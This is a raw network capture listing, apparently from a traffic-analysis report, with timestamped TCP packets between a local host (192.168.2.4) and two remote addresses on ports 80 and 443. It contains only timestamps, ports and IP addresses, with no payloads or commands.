Dec 18, 2024 17:08:36.885579109 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:36.885592937 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:36.885643959 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:36.885656118 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:36.885664940 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:36.885715008 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:36.885741949 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:36.885812998 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.005532980 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.005578995 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.005597115 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.005675077 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.005700111 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.005717039 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.005768061 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.005779982 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.009687901 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.050367117 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.053370953 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.082500935 CET	443	49808	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:37.082611084 CET	49808	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:37.083975077 CET	49808	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:37.083995104 CET	443	49808	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:37.084428072 CET	443	49808	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:37.085649014 CET	49808	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:37.085807085 CET	49808	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:37.085860014 CET	443	49808	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:37.085943937 CET	49808	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:37.085959911 CET	443	49808	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:37.170743942 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.171278954 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.215306997 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.495271921 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.495451927 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.702882051 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.702960968 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.768893957 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.769119024 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.769208908 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.825778008 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.825876951 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.889817953 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.889851093 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.889902115 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.889915943 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.889931917 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.889969110 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.890005112 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.890057087 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.890085936 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.890116930 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.890119076 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.890165091 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.890172005 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.890193939 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.890228033 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.890289068 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.890319109 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.890378952 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.890378952 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.890439034 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.890481949 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.890515089 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.890543938 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.890588045 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.890640974 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.890708923 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.890728951 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.890779018 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.890856028 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.890944958 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.891005993 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.891073942 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.891191959 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.891300917 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.891371012 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.891489983 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.891568899 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.891647100 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.891655922 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.891738892 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.892222881 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.892327070 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:37.945745945 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:37.945863008 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:38.071949959 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.071995974 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072038889 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072067022 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072086096 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:38.072094917 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072137117 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072158098 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:38.072165012 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072192907 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072256088 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072283983 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072310925 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072338104 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072364092 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072396040 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072405100 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072416067 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072443962 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072484016 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072515965 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072550058 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072606087 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072633982 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072660923 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072689056 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072724104 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:38.072729111 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072756052 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072796106 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072822094 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072824955 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:38.072849035 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072855949 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:38.072875977 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072884083 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:38.072904110 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072932959 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072942019 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072968960 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.072999954 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.073036909 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.073045015 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.126792908 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.126842976 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.126874924 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.126904011 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.126931906 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.126960993 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127005100 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127047062 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127074957 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127101898 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127130032 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127160072 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127187967 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127214909 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127244949 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127274036 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127301931 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127365112 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127393007 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127562046 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.127590895 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248306990 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248317957 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248348951 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248377085 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248406887 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248415947 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248459101 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248487949 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248516083 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248542070 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248569012 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248594999 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248624086 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248651028 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248701096 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248728037 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248754978 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248781919 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248809099 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248835087 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248862028 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248903036 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248929977 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248944044 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:38.248958111 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.248991966 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249023914 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249051094 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249080896 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249083042 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:38.249108076 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249135017 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249161005 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249187946 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249213934 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249243975 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249252081 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249280930 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249320030 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249346972 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249372959 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249399900 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249425888 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249481916 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.249490023 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.314631939 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.314681053 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.314712048 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.314739943 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.314768076 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.314795971 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.314824104 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.314851046 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.314878941 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.314905882 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.314934015 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.314961910 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.314990044 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.315017939 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.315046072 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.315088987 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.315119028 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.315146923 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.315174103 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.319504976 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:38.319586039 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:38.370179892 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370191097 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370313883 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370343924 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370376110 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370425940 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370475054 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370520115 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370548010 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370603085 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370630980 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370659113 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370706081 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370733023 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370779037 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370806932 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370865107 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.370913029 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371026993 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371087074 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371155024 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371184111 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371237040 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371263981 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371295929 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371366024 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371416092 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371450901 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371527910 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371613026 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371640921 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371690035 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371717930 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371746063 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371794939 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371822119 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371869087 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371896982 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.371928930 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372037888 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372204065 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372252941 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372302055 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372330904 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372378111 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372405052 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372436047 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372483969 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372512102 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372543097 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372603893 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372631073 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372725964 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.372755051 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.376960039 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:38.439925909 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.440216064 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.440694094 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.441279888 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.442202091 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.442517996 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.442670107 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.443139076 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610337019 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610375881 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610404968 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610431910 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610460043 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610486984 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610513926 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610541105 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610569000 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610596895 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610622883 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610650063 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610677004 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610703945 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610733032 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610759974 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610785961 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610812902 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610838890 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610866070 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610893011 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610918999 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610945940 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610980988 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.610991001 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611027956 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611056089 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611083031 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611110926 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611136913 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611169100 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611176968 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611186028 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611212969 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611241102 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611268997 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611295938 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611356974 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611383915 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611412048 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611438036 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611464024 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611490965 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611517906 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611543894 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611571074 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611825943 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611854076 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611881018 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611908913 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611936092 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611963034 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.611989975 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612015963 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612042904 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612070084 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612096071 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612123966 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612150908 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612178087 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612204075 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:38.612240076 CET	80	49811	185.185.71.170	192.168.2.4
